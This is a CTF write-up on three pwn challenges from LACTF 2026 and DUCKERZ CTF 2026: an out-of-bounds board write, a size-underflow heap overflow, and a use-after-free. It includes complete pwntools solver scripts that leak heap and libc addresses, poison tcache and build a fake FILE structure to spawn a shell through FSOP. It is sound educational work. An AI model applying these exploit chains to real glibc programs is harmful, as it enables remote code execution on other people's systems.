LACTF 2026
tic-tac-no
Description
Tic-tac-toe is a draw when played perfectly. Can you be more perfect than my perfect bot?
ncchall.lac.tf30001
Solution
Goal of this challenge is to win tic-tac-toe board game to get the flag. In main function there is a check that will print content of flag.txt if we win the game.
int main() {
...
printBoard();
if (winner == player) {
printf("How's this possible? Well, I guess I'll have to give you the flag now.\n");
FILE* flag = fopen("flag.txt", "r");
char buf[256];
fgets(buf, 256, flag);
buf[strcspn(buf, "\n")] = '\0';
puts(buf);
}
...
}
The mark that use by computer and player are declared as global variable.
char board[9];
char player = 'X';
char computer = 'O';
The vulnerability is in function playerMove.
void playerMove() {
int x, y;
do{
printf("Enter row #(1-3): ");
scanf("%d", &x);
printf("Enter column #(1-3): ");
scanf("%d", &y);
int index = (x-1)*3+(y-1);
if(index >= 0 && index < 9 && board[index] != ' '){ // Check only pass when 3 condition must satisfied
printf("Invalid move.\n");
} else {
board[index] = player; // Should be safe, given that the user cannot overwrite tiles on the board
break;
}
} while(1);
}
The check logic:
-
Only blocks valid indexes that are already occupied
-
Allows:
-
index < 0 -
index >= 9
-
Which mean we can arbitrary write in memory based on calculated index.
Simple way to win the tic-tac-toe is to overwrite global variable computer = 'O' with 'X' . So, whereever computer movement will placed 'X' mark in board that make us eazy towin.
After debugging using gdb index for computer is located at index -23 .
Based on the index calculation formula in program we can input 1 and -22 then 1 and 1 movement to win.

Flag: lactf{th3_0nly_w1nn1ng_m0ve_1s_t0_p1ay}
tcademy
Description
I'm telling you, tcache poisoning doesn't just happen due to double-frees!
ncchall.lac.tf31144
Solution
The challenge is classic note program which is use heap to store the user input. Program only has 4 menu.
void menu() {
puts("_____________________________");
puts("| MENU |");
puts("| 1. Create and fill a note |");
puts("| 2. Delete a note |");
puts("| 3. Read a note |");
puts("| 4. Exit |");
puts("|___________________________|");
puts("");
printf("Choice > ");
}
There is no use-after-free vulnerability since the heap pointer is nulled after free.
void delete_note() {
int index = get_note_index();
free(notes[index]);
notes[index] = 0;
puts("Note deleted!");
}
But, there is vulnerability when program proceed input from user
int read_data_into_note(int index, char *note, unsigned short size) {
// I prevented all off-by-one's by forcing the size to be at least 7 less than what was declared by the user! I am so smart
unsigned short resized_size = size == 8 ? (unsigned short)(size - 7) : (unsigned short)(size - 8);
int bytes = read(0, note, resized_size);
if (bytes < 0) {
puts("Read error");
exit(1);
}
if (note[bytes-1] == '\n') note[bytes-1] = '\x00';
}
The logic will check if the size is !8 and <8 i'll get subtracted that can cause size become negative.
Which mean underflow happen that make our input size become so big, up to 65535 bytes. That we can leverage to cause heap overflow to overwrite next chunk.
Also, since the input is use read function that not append null bytes in input, it is make us easy to leaks addresses.
Some constraint that exist in this challenge are:
- we only has 2 indexes. Which mean we need to create and delete index with caution because we can only allocate 2 heap at one time.
int get_note_index() {
int index;
printf("Index: ");
scanf("%d", &index);
if (index < 0 || index >= 2){
puts("Invalid index!!!");
exit(1);
}
return index;
}
- The size of our allocation is limited to
0xf8 (248)bytes.
void create_note() {
int index = get_note_index();
unsigned short size;
if (notes[index] != NULL) {
puts("Already allocated! Free the note first");
return;
}
printf("Size: ");
scanf("%hu", &size);
if (size < 0 || size > 0xf8) {
puts("Invalid size!!!");
exit(1);
}
notes[index] = malloc(size);
printf("Data: ");
read_data_into_note(index, notes[index], size);
puts("Note created!");
}
So, to leak libc address in unsorted bin we need to create fake big chunk.
- Libc version used is 2.35 which mean no
hooks. so, the easy way to gain shell is usingfsop
Let’s start by setup heap chunk allocation.

# [0x100]
create(0, 0xf8, b'B'*0x10) # Chunk 1, for fake file fsop later
delete(0)
# [0x20]
create(1, 1, b'B') # Chunk 2, heap overflow chunk, prepare for heap address leak tcache poisoning
delete(1)
# [0x40]
create(0, 0x30, b'C') # Chunk 3, prepare for tcache poisoning and heap leaks. victim chunk
create(1, 0x30, b'C') # Chunk 4, prepare for tcache poisoning. victim chunk
# Use this delete sequence to easy heap base leaks
delete(0)
delete(1)
Then we allocate heap overflow chunk, that will use tcache bin 0×20 which we can use to leak heap address in next freed chunk.

Read our in that allocated index to get leak heap address, then do some calculation to get heap base.
create(1, 1, b'B'*0x20) # Chunk 5, heap oveflow chunk. to leak heap address
res = view(1)
log.info(f'Leaked data: {res}')
heap_base = u64(res[-5:].ljust(8,b"\x00")) << 12
log.info(f'heap_base data: {hex(heap_base)}')

After we leaks heap base, better we fix the chunk size since we will use this chunk later for tcache poisoning.
delete(1)
create(0, 1, b'B'*0x10+p64(0x41)) # Chunk 6, heap overflow chunk, repair header after leaks

Then we allocate heap overflow chunk below the tcache bin 0×40 to prepare for libc leaks later.
create(1, 1, b'B'*0x10) # Chunk 7, heap overflow chunk, prepare for libc address leaks
# Use this delete sequence so next when we allocate heap overflow chunk it's located before big chunk that we will overwrite
delete(0)
delete(1)

Then we setup to heap allocation chunk before leak libc in unsorted bin.


create(0, 0xf8, b'B'*0x10) # Chunk 8, use tcache bin 0x100 above first
create(1, 0xf8, b'B'*0x10) # Chunk 9, allocate big chunk that we will overwrite the size to 0x421 to leak libc from unsorted bin
delete(0)
delete(1)
create(0, 0xe0, b'Z'*0x10) # Chunk 10, chunk as padding to by prevent double free or corruption (!prev)
create(1, 0xe0, b'Z'*0x10) # Chunk 11, chunk as padding to by prevent double free or corruption (!prev)
delete(0)
delete(1)
create(0, 0xd0, b"Z"*0x10) # Chunk 12, chunk as padding to by prevent double free or corruption (!prev)
create(1, 0xd0, p64(0x0)+p64(0x101)*10+p64(0x31)+p64(0x0)*5+p64(0x21)) # Chunk 13, chunk as padding to by prevent double free or corruption (!prev) and corrupted size vs. prev_size
delete(1)
delete(0)
The value in chunk 12 is need to prevent double free or corruption (!prev) and corrupted size vs. prev_size after overwrite chunk size to 0×421.
The value 0×31 is set in address +0×420 from our overwrite address. Then 0×21 is set in address +0×30 from address 0×31 is set.
0x6252d4646458 -> 0x101 -> chunk header overwrite address
0x6252d4646878 (+0x420) -> 0x31 -> address that check double free or corruption (!prev)
0x6252d46468a0 (+0x420+0x30) -> 0x21 -> address that check corrupted size vs. prev_size
After we setup heap allocation chunks, we can overwrite chunk size to 0×421 then freed that chunk that goes to unsorted bin. After that we can leak libc then calculate the libc base with offset from gdb. To calculate libc offset, just subtract leaked address with base libc address from vmmap.

create(1, 1, b'B'*0x10+b"\x00"*8+p64(0x421)) # Chunk 14, overwrite chunk size to 0x421, so when it is freed goes to unsorted bin
create(0, 0xf8, b'B'*0x10) # Chunk 15, allocate chunk size 0x100 that already overwrite with 0x421 then freed to go to unsorted bin
delete(0)
delete(1)
create(1, 1, b'B'*0x20) # Chunk 16, heap oveflow chunk. to leak libc address
res = view(1)
libc_leaks = u64(res[-6:].ljust(8,b"\x00"))
log.info(f'libc_leaks data: {hex(libc_leaks)}')
libc.address = libc_leaks - 0x21ace0
log.info(f'libc_base data: {hex(libc.address)}')
delete(1)

After we got leaks we needed, we stored our fake file structure to spawn shell to heap chunk we already allocated earlier.
Then do tcache poisoning to overwrite stderr pointer in _IO_list_all with our fake file address in heap.
fake_file_address = heap_base + 0x2b0
fake_file = p64(0) * 2
fake_file += b"\x01\x01\x01\x01;sh;"
fake_file += p64(0) * 4
fake_file += p64(1)
fake_file += p64(0) * 7
fake_file += p64(libc.sym["system"])
fake_file += p64(0) * 3
fake_file += p64(fake_file_address - 0x18)
fake_file += p64(0) * 2
fake_file += p64(fake_file_address - 0x10)
fake_file += p64(0) * 5
fake_file += p64(fake_file_address)
fake_file += p64(libc.sym["_IO_wfile_jumps"])
log.info(f"long fake file: {len(fake_file)}")
create(0, 0xf8, fake_file) # Chunk 17, chunk to stored our fake file structure to spawn shell
delete(0)
# This allocation to make easy tcache poisoning by adjust tcache bins sequence
create(0, 0x30, b'C') # Chunk 18, prepare for tcache poisoning
create(1, 0x30, b'C') # Chunk 19, prepare for tcache poisoning
delete(0)
delete(1)
create(0, 1, b'B'*0x20) # Chunk 20, to fill our first tcache bin 0x20
create(1, 1, b'B'*0x18+p64(0x41)+p64(obfuscate(libc.symbols["_IO_list_all"],heap_base+0x3c0))) # Chunk 21, heap overflow chunk, tcache poisoning by overwrite fd in freed chunk with size 0x40 to _IO_list_all
delete(0)
delete(1)
create(0, 0x30, b'Junk') # Chunk 22, to fill first tcache bins size 0x40
create(1, 0x30, p64(fake_file_address)) # Chunk 23, fill _IO_list_all with our fake file address
p.sendlineafter(b"> ",b"4") # Exit to trigger fsop spawn shell
p.interactive()

Full messy script below:
from pwn import *
p = process(["./chall_patched"])
# p = remote("chall.lac.tf",31144)
libc = ELF("./libc.so.6")
# context.log_level = 'debug'
def create(idx, size, content):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendlineafter(b'Size: ', str(size).encode())
p.sendafter(b'Data: ', content)
def delete(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
def view(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
return p.recvline().strip()
def obfuscate(p, adr):
return p^(adr>>12)
# [0x100]
create(0, 0xf8, b'B'*0x10) # Chunk 1, for fake file fsop later
delete(0)
# [0x20]
create(1, 1, b'B') # Chunk 2, heap overflow chunk, prepare for heap address leak tcache poisoning
delete(1)
# [0x40]
create(0, 0x30, b'C') # Chunk 3, prepare for tcache poisoning and heap leaks. victim chunk
create(1, 0x30, b'C') # Chunk 4, prepare for tcache poisoning. victim chunk
# Use this delete sequence to easy heap base leaks
delete(0)
delete(1)
create(1, 1, b'B'*0x20) # Chunk 5, heap oveflow chunk. to leak heap address
res = view(1)
log.info(f'Leaked data: {res}')
heap_base = u64(res[-5:].ljust(8,b"\x00")) << 12
log.info(f'heap_base data: {hex(heap_base)}')
delete(1)
create(0, 1, b'B'*0x10+p64(0)+p64(0x41)) # Chunk 6, heap overflow chunk, repair header after leaks
create(1, 1, b'B'*0x10) # Chunk 7, heap overflow chunk, prepare for libc address leaks
# Use this delete sequence so next when we allocate heap overflow chunk it's located before big chunk that we will overwrite
delete(0)
delete(1)
create(0, 0xf8, b'B'*0x10) # Chunk 8, use tcache bin 0x100 above first
create(1, 0xf8, b'B'*0x10) # Chunk 9, allocate big chunk that we will overwrite the size to 0x421 to leak libc from unsorted bin
delete(0)
delete(1)
create(0, 0xe0, b'Z'*0x10) # Chunk 10, chunk as padding to by prevent double free or corruption (!prev)
create(1, 0xe0, b'Z'*0x10) # Chunk 11, chunk as padding to by prevent double free or corruption (!prev)
delete(0)
delete(1)
create(0, 0xd0, b"Z"*0x10) # Chunk 12, chunk as padding to by prevent double free or corruption (!prev)
# TO PREVENT double free or corruption (!prev)
# Set address +0x420 from chunk header overwrite with 0x421 with 0x101 (original header value)
# Then set valid header chunk size and next another valid chunk size
# 0x614188f0f350 0x0000000000000000 0x0000000000000421 ........!....... <-- unsortedbin[all][0]
# 0x614188f0f360 0x00007adf2421ace0 0x00007adf2421ace0 ..!$.z....!$.z..
# 0x614188f0f370 0x0000000000000000 0x0000000000000000 ................
# ..........................................................................
# 0x614188f0f750 0x0000000000000101 0x0000000000000101 ................
# 0x614188f0f760 0x0000000000000101 0x0000000000000101 ................
# 0x614188f0f770 0x0000000000000420 0x0000000000000030 .......0....... -> 0x31 valid header
# 0x614188f0f780 0x0000000000000000 0x0000000000000000 ................
# 0x614188f0f790 0x0000000000000000 0x0000000000000000 ................
# 0x614188f0f7a0 0x0000000000000000 0x0000000000000021 ........!....... -> 0x21 valid header
# 0x614188f0f7b0 0x0000000000000000 0x0000000000000000 ................
# Heap chunks
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x614188f0f350
# Size: 0x420 (with flag bits: 0x421)
# fd: 0x7adf2421ace0
# bk: 0x7adf2421ace0
# Allocated chunk
# Addr: 0x614188f0f770
# Size: 0x30 (with flag bits: 0x30)
# Allocated chunk | PREV_INUSE
# Addr: 0x614188f0f7a0
# Size: 0x20 (with flag bits: 0x21)
# Allocated chunk
# Addr: 0x614188f0f7c0
# Size: 0x00 (with flag bits: 0x00)
create(1, 0xd0, p64(0x0)*11+p64(0x31)+p64(0x0)*5+p64(0x21)) # Chunk 13, chunk as padding to by prevent double free or corruption (!prev) and corrupted size vs. prev_size
delete(1)
delete(0)
create(1, 1, b'B'*0x10+b"\x00"*8+p64(0x421)) # Chunk 14, overwrite chunk size to 0x421, so when it is freed goes to unsorted bin
create(0, 0xf8, b'B'*0x10) # Chunk 15, allocate chunk size 0x100 that already overwrite with 0x421 then freed to go to unsorted bin
delete(0)
delete(1)
create(1, 1, b'B'*0x20) # Chunk 16, heap oveflow chunk. to leak libc address
res = view(1)
libc_leaks = u64(res[-6:].ljust(8,b"\x00"))
log.info(f'libc_leaks data: {hex(libc_leaks)}')
libc.address = libc_leaks - 0x21ace0
log.info(f'libc_base data: {hex(libc.address)}')
delete(1)
fake_file_address = heap_base + 0x2b0
fake_file = p64(0) * 2
fake_file += b"\x01\x01\x01\x01;sh;"
fake_file += p64(0) * 4
fake_file += p64(1)
fake_file += p64(0) * 7
fake_file += p64(libc.sym["system"])
fake_file += p64(0) * 3
fake_file += p64(fake_file_address - 0x18)
fake_file += p64(0) * 2
fake_file += p64(fake_file_address - 0x10)
fake_file += p64(0) * 5
fake_file += p64(fake_file_address)
fake_file += p64(libc.sym["_IO_wfile_jumps"])
log.info(f"long fake file: {len(fake_file)}")
create(0, 0xf8, fake_file) # Chunk 17, chunk to stored our fake file structure to spawn shell
delete(0)
# This allocation to make easy tcache poisoning by adjust tcache bins sequence
create(0, 0x30, b'C') # Chunk 18, prepare for tcache poisoning
create(1, 0x30, b'C') # Chunk 19, prepare for tcache poisoning
delete(0)
delete(1)
create(0, 1, b'B'*0x20) # Chunk 20, to fill our first tcache bin 0x20
create(1, 1, b'B'*0x18+p64(0x41)+p64(obfuscate(libc.symbols["_IO_list_all"],heap_base+0x3c0))) # Chunk 21, heap overflow chunk, tcache poisoning by overwrite fd in freed chunk with size 0x40 to _IO_list_all
delete(0)
delete(1)
create(0, 0x30, b'Junk') # Chunk 21, to fill first tcache bins size 0x40
create(1, 0x30, p64(fake_file_address)) # Chunk 22, fill _IO_list_all with our fake file address
p.sendlineafter(b"> ",b"4") # Exit to trigger fsop spawn shell
# gdb.attach(p)
p.interactive()
Flag: lactf{omg_arb_overflow_is_so_powerful}
DUCKERZ CTF 2026
magick_girl
Description
I forgot to take note this challenge description xD
Solution
Well, this one is russian ctf so the given challenge source code is written in russian xD
But, well we can just ask AI to translate it right? lol.
This challenge is classic note program that stored user input in heap.
There is 3 struct data in this program
struct entry {
int size;
char *content;
};
/*
* Diary pages ♪
* Each page can hold up to 32 entries~
*/
struct page {
struct entry *entries[32];
};
/*
* My precious diary! ♡♡♡
* It has 32 magical pages for all my secrets~
*/
struct diary {
struct page *pages[32];
};
/* Global diary - my most important artifact! ✨ */
struct diary Diary = {
.pages = { NULL },
};
There is a diary that can store 32 page pointer that each page can store 32 entry pointer. Our actual input will store inside entry struct.
The vulnerability is use-after-free in delete_entry function that not nulled entry pointer inside page struct.
/*
* ♪ Delete an entry - goodbye, old secret! ♪
* Free memory using the spell free~
*/
void delete_entry(int page_number) {
int entry_number;
printf("Which entry should be erased? ♪ ");
scanf("%d", &entry_number);
if (entry_number < 0 || entry_number >= 32) {
puts("That entry does not exist! ╮(╯_╰)╭");
return;
}
if (Diary.pages[page_number]->entries[entry_number] == NULL) {
puts("There is nothing here already, silly~ (≧◡≦)");
return;
}
free(Diary.pages[page_number]->entries[entry_number]->content);
free(Diary.pages[page_number]->entries[entry_number]);
}
So, we will working around entry in one page only.
Let’s create one page and entry first to know how heap allocation layout looklike.
create_page(0)
open_page(0)
create_entry(0,0x20,b"")

The page allocation size is the chunk with size 0×110 that stored pointer to entry chunk with size 0×21 that stored content size 0×20 and pointer to content chunk with size 0×31.
Then we start to leak heap address by 2 entry with same size then delete it. After that we need to allocate another entry with same size then print that entry.
Why we need to allocate entry first before leak? Because though the pointer not nulled the entry need a valid size and content pointer to print.
Let’s see we not allocate entry before leak.
create_entry(1,0x20,b"")
delete_entry(0)
delete_entry(1)
view_entry(1)

Look at tcache bin 0×20 , after freed the content pointer address is overwrite with obfuscated heap address, which is not a valid memory address. That’s why we need to allocated another entry first before leak.
Let’s fix the step to leak heap address.
create_entry(1,0x20,b"")
delete_entry(0)
delete_entry(1)
create_entry(2,0x20,b"")
view_entry(2)
heap_leaks = u64(p.recv(6)[1:6].ljust(8,b"\x00"))
log.info(f'heap_leaks data: {hex(heap_leaks)}')
# cleanup the 0a ("\n") from our input, then get the base
heap_base = (deobfuscate(heap_leaks) >> 4 ) << 12
log.info(f'heap_base data: {hex(heap_base)}')

Also note that since we need to fill content immediately after allocate, we need to clean up the leak heap. Though our content is empty it’ll store the \n or 0×0a as input that overwrite 1 byte heap address in fd and don’t forget to deobfuscate the leaked address.

Then we use same pattern to leak libc address in unsorted bin. Since there is no limit allocation size, we can just directly allocate chunk with size 0×420 then free the chunk to goes to unsorted bin.
create_entry(3,0x420,b"")
create_entry(4,0x30,b"BARRIER") # To make sure chunk not consolidate with top chunk, also will be use as tcache poison chunk
delete_entry(3)
create_entry(5,0x420,b"A"*7)
view_entry(5)
p.recvuntil(b"A"*7+b"\n") # Leak from bk
libc_leaks = u64(p.recv(6).ljust(8,b"\x00"))
log.info(f'libc leaks data: {hex(libc_leaks)}')
libc.address = libc_leaks - 0x203b20
log.info(f'heap_base data: {hex(libc.address)}')

After we leak heap and libc, let’s prepare for tcache poisoning and stored our fake file in heap to fsop later.
create_entry(6,0x30,b"TCACHE") # chunk size 0x40
delete_entry(6)
delete_entry(4)
fake_file_address = heap_base + 0x940
fake_file = b"\x01\x01\x01\x01;sh;"
fake_file += p64(0) * 4
fake_file += p64(1)
fake_file += p64(0) * 7
fake_file += p64(libc.sym["system"])
fake_file += p64(0) * 3
fake_file += p64(fake_file_address - 0x18)
fake_file += p64(0) * 2
fake_file += p64(fake_file_address - 0x10)
fake_file += p64(0) * 5
fake_file += p64(fake_file_address)
fake_file += p64(libc.sym["_IO_wfile_jumps"])
log.info(f"long fake file: {len(fake_file)}")
create_entry(7,0x100,fake_file)
delete_entry(0)
delete_entry(1)

Again since we cannot edit directly our freed chunk, we need to reuse entry chunk with size 0×20 to make content pointer to chunk address we want to overwrite. In our case we want to overwrite fd in 0×40 tcache bin chunk.
Then as usual overwrite stderr pointer in _IO_list_all with our fake file address.
# Create fake entry pointer to 0x40 bins. That we will overwrite chunk fd
# The content address will reuse index 1 entry chunk
create_entry(8,0x10,p64(0x20)+p64(heap_base+0x880))
# Tcache poisoning
# Index 1 entry content pointer is pointed 0x40 tcache bin, now we overwrite the fd with _IO_list_all
edit_entry(1,p64(obfuscate(libc.symbols["_IO_list_all"],heap_base + 0x880)))
create_entry(9,0x30,b"JUNK")
create_entry(10,0x30,p64(fake_file_address)) # fill _IO_list_all with our fake file
# exit
p.sendlineafter('╝\n'.encode(), b'5')
p.sendlineafter('╝\n'.encode(), b'4')
p.interactive()

Full messy solver script:
from pwn import *
p = process(["./magick_girl_patched"])
# p = remote("94.19.79.169",20011)
libc = ELF("./libc.so.6")
# context.log_level = "debug"
def create_page(idx):
p.sendlineafter('╝\n'.encode(), b'1')
p.sendlineafter('✿ '.encode(), str(idx).encode())
def open_page(idx):
p.sendlineafter('╝\n'.encode(), b'2')
p.sendlineafter('✿ '.encode(), str(idx).encode())
def create_entry(idx,size,content):
p.sendlineafter('╝\n'.encode(), b'1')
p.sendlineafter('♡ '.encode(), str(idx).encode())
p.sendlineafter('✧ '.encode(), str(size).encode())
p.sendline(content)
def view_entry(idx):
p.sendlineafter('╝\n'.encode(), b'2')
p.sendlineafter('✧ '.encode(), str(idx).encode())
def edit_entry(idx,content):
p.sendlineafter('╝\n'.encode(), b'3')
p.sendlineafter('✎ '.encode(), str(idx).encode())
p.sendline(content)
def delete_entry(idx):
p.sendlineafter('╝\n'.encode(), b'4')
p.sendlineafter('♪ '.encode(), str(idx).encode())
def obfuscate(p, adr):
return p^(adr>>12)
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
create_page(0)
open_page(0)
create_entry(0,0x20,b"")
create_entry(1,0x20,b"")
delete_entry(0)
delete_entry(1)
create_entry(2,0x20,b"")
view_entry(2)
heap_leaks = u64(p.recv(6)[1:6].ljust(8,b"\x00"))
log.info(f'heap_leaks data: {hex(heap_leaks)}')
# cleanup the 0a ("\n") from our input, then get the base
heap_base = (deobfuscate(heap_leaks) >> 4 ) << 12
log.info(f'heap_base data: {hex(heap_base)}')
create_entry(3,0x420,b"")
create_entry(4,0x30,b"BARRIER") # To make sure chunk not consolidate with top chunk, also will be use as tcache poison chunk
delete_entry(3)
create_entry(5,0x420,b"A"*7)
view_entry(5)
p.recvuntil(b"A"*7+b"\n")
libc_leaks = u64(p.recv(6).ljust(8,b"\x00"))
log.info(f'libc leaks data: {hex(libc_leaks)}')
libc.address = libc_leaks - 0x203b20
log.info(f'heap_base data: {hex(libc.address)}')
create_entry(6,0x30,b"TCACHE")
delete_entry(6)
delete_entry(4)
fake_file_address = heap_base + 0x940
fake_file = b"\x01\x01\x01\x01;sh;"
fake_file += p64(0) * 4
fake_file += p64(1)
fake_file += p64(0) * 7
fake_file += p64(libc.sym["system"])
fake_file += p64(0) * 3
fake_file += p64(fake_file_address - 0x18)
fake_file += p64(0) * 2
fake_file += p64(fake_file_address - 0x10)
fake_file += p64(0) * 5
fake_file += p64(fake_file_address)
fake_file += p64(libc.sym["_IO_wfile_jumps"])
log.info(f"long fake file: {len(fake_file)}")
create_entry(7,0x100,fake_file)
delete_entry(0)
delete_entry(1)
# Create fake entry pointer to 0x40 bins. That we will overwrite chunk fd
# The content address will reuse index 1 entry chunk
create_entry(8,0x10,p64(0x20)+p64(heap_base+0x880))
# Tcache poisoning
# Index 1 entry content pointer is pointed 0x40 tcache bin, now we overwrite the fd with _IO_list_all
edit_entry(1,p64(obfuscate(libc.symbols["_IO_list_all"],heap_base + 0x880)))
create_entry(9,0x30,b"JUNK")
create_entry(10,0x30,p64(fake_file_address)) # fill _IO_list_all with our fake file
# gdb.attach(p)
# exit
p.sendlineafter('╝\n'.encode(), b'5')
p.sendlineafter('╝\n'.encode(), b'4')
p.interactive()
# DUCKERZ{c85d16e102f5e56438805da5ac077d1d}
Flag : DUCKERZc85d16e102f5e56438805da5ac077d1d